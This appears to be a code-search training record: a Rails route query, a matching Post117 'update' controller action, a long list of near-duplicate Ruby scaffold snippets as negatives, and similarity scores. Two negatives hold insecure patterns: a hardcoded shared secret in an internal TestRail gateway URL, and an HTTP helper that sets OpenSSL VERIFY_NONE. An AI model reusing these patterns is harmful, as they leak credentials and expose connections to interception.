"def posttestrail(runId, caseId, statusId, versionId, elapsedseconds)\r\n\r\n uri = \"http://testrailgw.jupiter.bbc.co.uk/?action=add_result_for_case&run_id=#{runId}&case_id=#{caseId}&status_id=#{statusId}&version=#{versionId}&elapsed_seconds=#{elapsedseconds}&sharedSecret=thI5iSourSHAREDsecret\"\r\n #uri = \"http://testrailgw.jupiter.bbc.co.uk/?action=add_result_for_case&run_id=110324&case_id=665022&status_id=1&version=Test&elapsed_seconds=12&sharedSecret=thI5iSourSHAREDsecret\"\r\n\r\n uri = uri.gsub(\" \", \"%20\")\r\n xml_data = open(uri).read\r\n if(xml_data.include? '\"test_id\":')\r\n recorded = xml_data.split('\"test_id\":')[1]\r\n testID = recorded.split(',\"status_id\"')[0]\r\n puts \"TestID:\"+testID\r\n else\r\n puts xml_data\r\n fail \"Cannot Post result to Testrail, check Webservice\"\r\n end\r\n\r\n timeStamp = Time.now.strftime (\"posted at %H:%M %d/%m/%Y\")\r\n files = \"//zgbwcfs3005.jupiter.bbc.co.uk/QA/Jenkins/Jupiter/ICETEAresultupdatelog.txt\"\r\n f = File.open(files,'a')\r\n f.write \"#{testID} #{timeStamp}\"\r\n f.close\r\nend",
"def create\n @post156 = Post156.new(params[:post156])\n\n respond_to do |format|\n if @post156.save\n format.html { redirect_to(@post156, :notice => 'Post156 was successfully created.') }\n format.xml { render :xml => @post156, :status => :created, :location => @post156 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post156.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post125 = Post125.new(params[:post125])\n\n respond_to do |format|\n if @post125.save\n format.html { redirect_to(@post125, :notice => 'Post125 was successfully created.') }\n format.xml { render :xml => @post125, :status => :created, :location => @post125 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post125.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post77 = Post77.new(params[:post77])\n\n respond_to do |format|\n if @post77.save\n format.html { redirect_to(@post77, :notice => 'Post77 was successfully created.') }\n format.xml { render :xml => @post77, :status => :created, :location => @post77 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post77.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post217 = Post217.new(params[:post217])\n\n respond_to do |format|\n if @post217.save\n format.html { redirect_to(@post217, :notice => 'Post217 was successfully created.') }\n format.xml { render :xml => @post217, :status => :created, :location => @post217 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post217.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post105 = Post105.new(params[:post105])\n\n respond_to do |format|\n if @post105.save\n format.html { redirect_to(@post105, :notice => 'Post105 was successfully created.') }\n format.xml { render :xml => @post105, :status => :created, :location => @post105 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post105.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post(path, **args); end",
"def create\n @post116 = Post116.new(params[:post116])\n\n respond_to do |format|\n if @post116.save\n format.html { redirect_to(@post116, :notice => 'Post116 was successfully created.') }\n format.xml { render :xml => @post116, :status => :created, :location => @post116 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post116.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post\n end",
"def create\n @post101 = Post101.new(params[:post101])\n\n respond_to do |format|\n if @post101.save\n format.html { redirect_to(@post101, :notice => 'Post101 was successfully created.') }\n format.xml { render :xml => @post101, :status => :created, :location => @post101 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post101.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post81 = Post81.new(params[:post81])\n\n respond_to do |format|\n if @post81.save\n format.html { redirect_to(@post81, :notice => 'Post81 was successfully created.') }\n format.xml { render :xml => @post81, :status => :created, :location => @post81 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post81.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post133 = Post133.new(params[:post133])\n\n respond_to do |format|\n if @post133.save\n format.html { redirect_to(@post133, :notice => 'Post133 was successfully created.') }\n format.xml { render :xml => @post133, :status => :created, :location => @post133 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post133.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post251 = Post251.new(params[:post251])\n\n respond_to do |format|\n if @post251.save\n format.html { redirect_to(@post251, :notice => 'Post251 was successfully created.') }\n format.xml { render :xml => @post251, :status => :created, :location => @post251 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post251.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post253 = Post253.new(params[:post253])\n\n respond_to do |format|\n if @post253.save\n format.html { redirect_to(@post253, :notice => 'Post253 was successfully created.') }\n format.xml { render :xml => @post253, :status => :created, :location => @post253 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post253.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post149 = Post149.new(params[:post149])\n\n respond_to do |format|\n if @post149.save\n format.html { redirect_to(@post149, :notice => 'Post149 was successfully created.') }\n format.xml { render :xml => @post149, :status => :created, :location => @post149 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post149.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post139 = Post139.new(params[:post139])\n\n respond_to do |format|\n if @post139.save\n format.html { redirect_to(@post139, :notice => 'Post139 was successfully created.') }\n format.xml { render :xml => @post139, :status => :created, :location => @post139 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post139.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post129 = Post129.new(params[:post129])\n\n respond_to do |format|\n if @post129.save\n format.html { redirect_to(@post129, :notice => 'Post129 was successfully created.') }\n format.xml { render :xml => @post129, :status => :created, :location => @post129 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post129.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post55 = Post55.new(params[:post55])\n\n respond_to do |format|\n if @post55.save\n format.html { redirect_to(@post55, :notice => 'Post55 was successfully created.') }\n format.xml { render :xml => @post55, :status => :created, :location => @post55 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post55.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post(*args)\n Request.post(*args)\n end",
"def create\n @post107 = Post107.new(params[:post107])\n\n respond_to do |format|\n if @post107.save\n format.html { redirect_to(@post107, :notice => 'Post107 was successfully created.') }\n format.xml { render :xml => @post107, :status => :created, :location => @post107 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post107.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def test_should_create_post_via_API_XML\r\n get \"/logout\"\r\n post \"/forum_posts.xml\", :api_key=>'testapikey',\r\n :forum_post => {:title=>'API Test Post',\r\n :body=>'Test Post desc',\r\n :user_id=>1}\r\n assert_response :created\r\n end",
"def create\n @post85 = Post85.new(params[:post85])\n\n respond_to do |format|\n if @post85.save\n format.html { redirect_to(@post85, :notice => 'Post85 was successfully created.') }\n format.xml { render :xml => @post85, :status => :created, :location => @post85 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post85.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post227 = Post227.new(params[:post227])\n\n respond_to do |format|\n if @post227.save\n format.html { redirect_to(@post227, :notice => 'Post227 was successfully created.') }\n format.xml { render :xml => @post227, :status => :created, :location => @post227 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post227.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post246 = Post246.new(params[:post246])\n\n respond_to do |format|\n if @post246.save\n format.html { redirect_to(@post246, :notice => 'Post246 was successfully created.') }\n format.xml { render :xml => @post246, :status => :created, :location => @post246 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post246.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post150 = Post150.new(params[:post150])\n\n respond_to do |format|\n if @post150.save\n format.html { redirect_to(@post150, :notice => 'Post150 was successfully created.') }\n format.xml { render :xml => @post150, :status => :created, :location => @post150 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post150.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post109 = Post109.new(params[:post109])\n\n respond_to do |format|\n if @post109.save\n format.html { redirect_to(@post109, :notice => 'Post109 was successfully created.') }\n format.xml { render :xml => @post109, :status => :created, :location => @post109 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post109.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post335 = Post335.new(params[:post335])\n\n respond_to do |format|\n if @post335.save\n format.html { redirect_to(@post335, :notice => 'Post335 was successfully created.') }\n format.xml { render :xml => @post335, :status => :created, :location => @post335 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post335.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post184 = Post184.new(params[:post184])\n\n respond_to do |format|\n if @post184.save\n format.html { redirect_to(@post184, :notice => 'Post184 was successfully created.') }\n format.xml { render :xml => @post184, :status => :created, :location => @post184 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post184.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post260 = Post260.new(params[:post260])\n\n respond_to do |format|\n if @post260.save\n format.html { redirect_to(@post260, :notice => 'Post260 was successfully created.') }\n format.xml { render :xml => @post260, :status => :created, :location => @post260 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post260.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post193 = Post193.new(params[:post193])\n\n respond_to do |format|\n if @post193.save\n format.html { redirect_to(@post193, :notice => 'Post193 was successfully created.') }\n format.xml { render :xml => @post193, :status => :created, :location => @post193 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post193.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post447 = Post447.new(params[:post447])\n\n respond_to do |format|\n if @post447.save\n format.html { redirect_to(@post447, :notice => 'Post447 was successfully created.') }\n format.xml { render :xml => @post447, :status => :created, :location => @post447 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post447.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post65 = Post65.new(params[:post65])\n\n respond_to do |format|\n if @post65.save\n format.html { redirect_to(@post65, :notice => 'Post65 was successfully created.') }\n format.xml { render :xml => @post65, :status => :created, :location => @post65 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post65.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post445 = Post445.new(params[:post445])\n\n respond_to do |format|\n if @post445.save\n format.html { redirect_to(@post445, :notice => 'Post445 was successfully created.') }\n format.xml { render :xml => @post445, :status => :created, :location => @post445 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post445.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post130 = Post130.new(params[:post130])\n\n respond_to do |format|\n if @post130.save\n format.html { redirect_to(@post130, :notice => 'Post130 was successfully created.') }\n format.xml { render :xml => @post130, :status => :created, :location => @post130 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post130.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post182 = Post182.new(params[:post182])\n\n respond_to do |format|\n if @post182.save\n format.html { redirect_to(@post182, :notice => 'Post182 was successfully created.') }\n format.xml { render :xml => @post182, :status => :created, :location => @post182 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post182.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post295 = Post295.new(params[:post295])\n\n respond_to do |format|\n if @post295.save\n format.html { redirect_to(@post295, :notice => 'Post295 was successfully created.') }\n format.xml { render :xml => @post295, :status => :created, :location => @post295 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post295.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post122 = Post122.new(params[:post122])\n\n respond_to do |format|\n if @post122.save\n format.html { redirect_to(@post122, :notice => 'Post122 was successfully created.') }\n format.xml { render :xml => @post122, :status => :created, :location => @post122 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post122.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post191 = Post191.new(params[:post191])\n\n respond_to do |format|\n if @post191.save\n format.html { redirect_to(@post191, :notice => 'Post191 was successfully created.') }\n format.xml { render :xml => @post191, :status => :created, :location => @post191 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post191.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post446 = Post446.new(params[:post446])\n\n respond_to do |format|\n if @post446.save\n format.html { redirect_to(@post446, :notice => 'Post446 was successfully created.') }\n format.xml { render :xml => @post446, :status => :created, :location => @post446 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post446.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post120 = Post120.new(params[:post120])\n\n respond_to do |format|\n if @post120.save\n format.html { redirect_to(@post120, :notice => 'Post120 was successfully created.') }\n format.xml { render :xml => @post120, :status => :created, :location => @post120 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post120.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post341 = Post341.new(params[:post341])\n\n respond_to do |format|\n if @post341.save\n format.html { redirect_to(@post341, :notice => 'Post341 was successfully created.') }\n format.xml { render :xml => @post341, :status => :created, :location => @post341 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post341.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post231 = Post231.new(params[:post231])\n\n respond_to do |format|\n if @post231.save\n format.html { redirect_to(@post231, :notice => 'Post231 was successfully created.') }\n format.xml { render :xml => @post231, :status => :created, :location => @post231 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post231.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post221 = Post221.new(params[:post221])\n\n respond_to do |format|\n if @post221.save\n format.html { redirect_to(@post221, :notice => 'Post221 was successfully created.') }\n format.xml { render :xml => @post221, :status => :created, :location => @post221 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post221.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post297 = Post297.new(params[:post297])\n\n respond_to do |format|\n if @post297.save\n format.html { redirect_to(@post297, :notice => 'Post297 was successfully created.') }\n format.xml { render :xml => @post297, :status => :created, :location => @post297 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post297.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post_xml_64(xml=:example_response)\n post \"/auth/saml/callback\", {'SAMLResponse' => load_xml_64(xml)}\nend",
"def create\n @post183 = Post183.new(params[:post183])\n\n respond_to do |format|\n if @post183.save\n format.html { redirect_to(@post183, :notice => 'Post183 was successfully created.') }\n format.xml { render :xml => @post183, :status => :created, :location => @post183 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post183.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post328 = Post328.new(params[:post328])\n\n respond_to do |format|\n if @post328.save\n format.html { redirect_to(@post328, :notice => 'Post328 was successfully created.') }\n format.xml { render :xml => @post328, :status => :created, :location => @post328 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post328.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def send_post(data_xml,url)\r\n result = @client.post(self.target_uri(url), :body => data_xml , :head => {'Content-Type' => 'application/xml'} ) \r\n raise \"Invalid status #{result.http_status} from server #{@host}:#{@port}\" if(result.http_status != '200') \r\n #reply = Reply.from_xml(result.http_body)\r\n if block_given?\r\n yield(result.http_body)\r\n else\r\n result.http_body\r\n end\r\n end",
"def create\n @post58 = Post58.new(params[:post58])\n\n respond_to do |format|\n if @post58.save\n format.html { redirect_to(@post58, :notice => 'Post58 was successfully created.') }\n format.xml { render :xml => @post58, :status => :created, :location => @post58 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post58.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post_nodes_with_root\n serialize_service.post_nodes_serialized\n end",
"def create\n @post245 = Post245.new(params[:post245])\n\n respond_to do |format|\n if @post245.save\n format.html { redirect_to(@post245, :notice => 'Post245 was successfully created.') }\n format.xml { render :xml => @post245, :status => :created, :location => @post245 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post245.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post358 = Post358.new(params[:post358])\n\n respond_to do |format|\n if @post358.save\n format.html { redirect_to(@post358, :notice => 'Post358 was successfully created.') }\n format.xml { render :xml => @post358, :status => :created, :location => @post358 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post358.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post_data; end",
"def post(action, **args); end",
"def create\n @post349 = Post349.new(params[:post349])\n\n respond_to do |format|\n if @post349.save\n format.html { redirect_to(@post349, :notice => 'Post349 was successfully created.') }\n format.xml { render :xml => @post349, :status => :created, :location => @post349 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post349.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def test_post_sample_traces\n header 'Content-Type', 'application/json'\n\n (0..4).each do |i|\n data = File.read \"sample-traces/#{i}.json\"\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n assert last_response.ok?\n end\n end",
"def post_xml(url, ls_data)\n uri = URI.parse(url)\n request = Net::HTTP::Post.new(uri.request_uri, HEADER_XML)\n request.body = ls_data\n request.basic_auth(@nsx_user, @nsx_password)\n response = Net::HTTP.start(uri.host, uri.port, :use_ssl => true,\n :verify_mode => OpenSSL::SSL::VERIFY_NONE) do |https|\n https.request(request)\n end\n return response.body if check_response(response, 201)\n end",
"def post\n resource.post(request, response)\n end",
"def post\n doc = Nokogiri::XML(request.body)\n id= (doc/'id').text\n # p = Post.exists?(id) ? Post.find(id) : Post.new\n p= Post.find_or_create_by_intranet_id id\n p.update_attributes :subject => (doc/'subject').text,\n :body => (doc/'body').text, :post_type => (doc/'post-type').text,\n :pic => (doc/'pic') .text, :begin_on=>(doc/'begin-on').text,\n :pic_postimg => (doc/'pic-postimg').text,\n :video => (doc/'video').text, \n :end_on => (doc/'end-on').text, :stick => (doc/'stick').text \n render :text => \"ok\"\n end",
"def create\n @post248 = Post248.new(params[:post248])\n\n respond_to do |format|\n if @post248.save\n format.html { redirect_to(@post248, :notice => 'Post248 was successfully created.') }\n format.xml { render :xml => @post248, :status => :created, :location => @post248 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post248.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post273 = Post273.new(params[:post273])\n\n respond_to do |format|\n if @post273.save\n format.html { redirect_to(@post273, :notice => 'Post273 was successfully created.') }\n format.xml { render :xml => @post273, :status => :created, :location => @post273 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post273.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post249 = Post249.new(params[:post249])\n\n respond_to do |format|\n if @post249.save\n format.html { redirect_to(@post249, :notice => 'Post249 was successfully created.') }\n format.xml { render :xml => @post249, :status => :created, :location => @post249 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post249.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create(name=\"Default Name\", age=\"50\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <name>#{name}</name>\r\n <age>#{age}</age>\r\n </person>\"\r\n \r\n request = Net::HTTP::Post.new(@url)\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n \r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n response.body \r\n end",
"def create\n @post425 = Post425.new(params[:post425])\n\n respond_to do |format|\n if @post425.save\n format.html { redirect_to(@post425, :notice => 'Post425 was successfully created.') }\n format.xml { render :xml => @post425, :status => :created, :location => @post425 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post425.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post471 = Post471.new(params[:post471])\n\n respond_to do |format|\n if @post471.save\n format.html { redirect_to(@post471, :notice => 'Post471 was successfully created.') }\n format.xml { render :xml => @post471, :status => :created, :location => @post471 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post471.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post197 = Post197.new(params[:post197])\n\n respond_to do |format|\n if @post197.save\n format.html { redirect_to(@post197, :notice => 'Post197 was successfully created.') }\n format.xml { render :xml => @post197, :status => :created, :location => @post197 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post197.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post(method, params = {})\n url = make_url method, params\n query = url.query\n url.query = nil\n\n req = Net::HTTP::Post.new url.path\n req.body = query\n req.content_type = 'application/x-www-form-urlencoded'\n\n res = Net::HTTP.start url.host, url.port do |http|\n http.request req\n end\n\n xml = Nokogiri::XML(res.body, nil, nil, 0)\n\n check_error xml\n\n parse_response xml\n rescue SystemCallError, SocketError, Timeout::Error, IOError,\n Nokogiri::XML::SyntaxError => e\n raise CommunicationError.new(e)\n rescue Net::HTTPError => e\n xml = Nokogiri::XML(e.res.body) { |cfg| cfg.strict }\n check_error xml\n raise CommunicationError.new(e)\n end",
"def create\n @post272 = Post272.new(params[:post272])\n\n respond_to do |format|\n if @post272.save\n format.html { redirect_to(@post272, :notice => 'Post272 was successfully created.') }\n format.xml { render :xml => @post272, :status => :created, :location => @post272 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post272.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post134 = Post134.new(params[:post134])\n\n respond_to do |format|\n if @post134.save\n format.html { redirect_to(@post134, :notice => 'Post134 was successfully created.') }\n format.xml { render :xml => @post134, :status => :created, :location => @post134 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post134.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post41 = Post41.new(params[:post41])\n\n respond_to do |format|\n if @post41.save\n format.html { redirect_to(@post41, :notice => 'Post41 was successfully created.') }\n format.xml { render :xml => @post41, :status => :created, :location => @post41 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post41.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post99 = Post99.new(params[:post99])\n\n respond_to do |format|\n if @post99.save\n format.html { redirect_to(@post99, :notice => 'Post99 was successfully created.') }\n format.xml { render :xml => @post99, :status => :created, :location => @post99 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post99.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post310 = Post310.new(params[:post310])\n\n respond_to do |format|\n if @post310.save\n format.html { redirect_to(@post310, :notice => 'Post310 was successfully created.') }\n format.xml { render :xml => @post310, :status => :created, :location => @post310 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post310.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create(params)\n\nxml =<<XML\n<entry xmlns=\"http://purl.org/atom/ns#\">\n <title>#{params[:title]}</title>\n <link rel=\"related\" type=\"text/html\" href=\"#{params[:url]}\" />\n <summary type=\"text/plain\">#{params[:comment]}</summary>\n</entry>\nXML\n\n post('/post', xml)\n end",
"def create\n @post339 = Post339.new(params[:post339])\n\n respond_to do |format|\n if @post339.save\n format.html { redirect_to(@post339, :notice => 'Post339 was successfully created.') }\n format.xml { render :xml => @post339, :status => :created, :location => @post339 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post339.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post350 = Post350.new(params[:post350])\n\n respond_to do |format|\n if @post350.save\n format.html { redirect_to(@post350, :notice => 'Post350 was successfully created.') }\n format.xml { render :xml => @post350, :status => :created, :location => @post350 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post350.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post(*args)\n prepare_request(:post, args)\n @@client.add(:post, @path, *args)\n end",
"def create\n @post194 = Post194.new(params[:post194])\n\n respond_to do |format|\n if @post194.save\n format.html { redirect_to(@post194, :notice => 'Post194 was successfully created.') }\n format.xml { render :xml => @post194, :status => :created, :location => @post194 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post194.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post278 = Post278.new(params[:post278])\n\n respond_to do |format|\n if @post278.save\n format.html { redirect_to(@post278, :notice => 'Post278 was successfully created.') }\n format.xml { render :xml => @post278, :status => :created, :location => @post278 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post278.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post(uri, doc = nil, options = {})\n execute(uri, :post, options, doc)\n end"
] |
[
"0.6150349",
"0.6100429",
"0.60998875",
"0.6057699",
"0.6021955",
"0.5993395",
"0.59479654",
"0.5913706",
"0.5904326",
"0.5886781",
"0.5860558",
"0.5848142",
"0.5830541",
"0.58173597",
"0.5811431",
"0.5805381",
"0.58032405",
"0.5795835",
"0.5795161",
"0.57806975",
"0.5775407",
"0.5775257",
"0.57711923",
"0.5768822",
"0.5765519",
"0.5765431",
"0.57611406",
"0.57558",
"0.575152",
"0.57513446",
"0.5741744",
"0.57316965",
"0.57307154",
"0.57259506",
"0.57232195",
"0.5715784",
"0.5714376",
"0.5695793",
"0.5693565",
"0.56935114",
"0.56765324",
"0.56747705",
"0.56551224",
"0.5652703",
"0.5651903",
"0.5651794",
"0.5649009",
"0.5646285",
"0.5645391",
"0.5643322",
"0.5642471",
"0.56415796",
"0.5640481",
"0.56379366",
"0.5636487",
"0.56352925",
"0.5632429",
"0.5625417",
"0.56250745",
"0.5624151",
"0.56236744",
"0.562097",
"0.5620864",
"0.56157964",
"0.5611684",
"0.5607491",
"0.55966914",
"0.55861604",
"0.5585469",
"0.5585095",
"0.55850583",
"0.5579978",
"0.5573335",
"0.55705386",
"0.55562496",
"0.5536671",
"0.55354816",
"0.5533572",
"0.55331296",
"0.55325216",
"0.5530982",
"0.55284816",
"0.55230594",
"0.5517422",
"0.5514104",
"0.55139583",
"0.5507481",
"0.5506691",
"0.5505283",
"0.54957867",
"0.54909915",
"0.54881614",
"0.5485061",
"0.54838455",
"0.54809725",
"0.54711044",
"0.54710305",
"0.5466291",
"0.54661375",
"0.54628015"
] |
0.61656487
|
0
|
PUT /post117s/1 PUT /post117s/1.xml
|
def update
@post117 = Post117.find(params[:id])
respond_to do |format|
if @post117.update_attributes(params[:post117])
format.html { redirect_to(@post117, :notice => 'Post117 was successfully updated.') }
format.xml { head :ok }
else
format.html { render :action => "edit" }
format.xml { render :xml => @post117.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end",
"def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end",
"def rest_update(uri, method: Net::HTTP::Put)\n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n doc = strip_class_attributes(yield doc)\n \n request2 = method.new uri\n request2.content_type = 'application/xml'\n auth_admin(request2)\n\n request2.body=doc.to_s\n \n response2 = http.request request2\n response.value\n\n end\n \nend",
"def put_datastream(pid, dsID, xml)\n uri = URI.parse(@fedora + '/objects/' + pid + '/datastreams/' + dsID ) \n RestClient.put(uri.to_s, xml, :content_type => \"application/xml\")\n rescue => e\n e.response \n end",
"def update\n @post157 = Post157.find(params[:id])\n\n respond_to do |format|\n if @post157.update_attributes(params[:post157])\n format.html { redirect_to(@post157, :notice => 'Post157 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post157.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post182 = Post182.find(params[:id])\n\n respond_to do |format|\n if @post182.update_attributes(params[:post182])\n format.html { redirect_to(@post182, :notice => 'Post182 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post182.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def test_put\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n contents = last_response.body\n contents_id = contents['_id']\n\n data = File.read 'sample-traces/1.json'\n put(\"/traces/#{contents_id}\", data, 'CONTENT_TYPE': 'application/json')\n contents = last_response.body\n\n assert_equal contents_id, contents['_id']\n end",
"def update(id, name=\"Updated Name\", age=\"55\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <id type='integer'>#{id}</id>\r\n <name>#{name}</name>\r\n <age>#{age}</age> \r\n </person>\"\r\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n # no response body will be returned\r\n case response\r\n when Net::HTTPSuccess\r\n return \"#{response.code} OK\"\r\n else\r\n return \"#{response.code} ERROR\"\r\n end\r\n end",
